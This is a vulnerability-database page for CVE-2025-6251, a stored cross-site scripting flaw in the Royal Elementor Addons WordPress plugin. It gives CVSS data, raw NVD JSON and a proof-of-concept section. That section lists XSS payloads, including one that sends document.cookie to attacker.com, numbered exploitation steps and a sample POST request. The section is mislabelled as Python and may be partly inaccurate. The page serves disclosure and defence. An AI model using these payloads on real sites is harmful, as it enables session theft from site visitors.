Security Vulnerability Report
中文
CVE-2025-6251 CVSS 6.4 MEDIUM

CVE-2025-6251

Published: 2025-11-19 04:16:06
Last Modified: 2026-04-15 00:35:42

Description

The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via $item['field_id'] in all versions up to, and including, 1.7.1036 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Royal Elementor Addons and Templates <= 1.7.1036 (所有版本至并包括1.7.1036)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-6251 Stored XSS PoC // Affected: Royal Elementor Addons and Templates <= 1.7.1036 // Attack Vector: Form Builder field_id parameter // PoC payload for field_id injection: // <script>alert(document.cookie)</script> // or // <img src=x onerror=this.src='https://attacker.com/log?c='+document.cookie> // Steps to exploit: // 1. Login to WordPress with Contributor or higher role // 2. Navigate to Royal Elementor Addons > Form Builder // 3. Create or edit a form // 4. In a field's 'field_id' parameter, inject XSS payload // 5. Save the form // 6. Any user visiting a page with this form will trigger the XSS // Example HTTP POST request structure: /* POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded action=wpr_save_form&nonce=XXX& form_data=[{ "field_id": "<script>alert('XSS')</script>", "field_type": "text", "field_label": "Test Field" }] */ // The vulnerable code location (wpr-form-builder.php ~ line 4023): // echo '<div id="' . $item['field_id'] . '">' . $content . '</div>'; // Without proper sanitization of $item['field_id']

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-6251", "sourceIdentifier": "[email protected]", "published": "2025-11-19T04:16:06.210", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Royal Elementor Addons and Templates plugin for WordPress is vulnerable to Stored Cross-Site Scripting via $item['field_id'] in all versions up to, and including, 1.7.1036 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/form-builder/widgets/wpr-form-builder.php#L4023", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ead108c4-ac09-42ea-95c5-e95dc514f1cb?source=cve", "source": "[email protected]"}]}}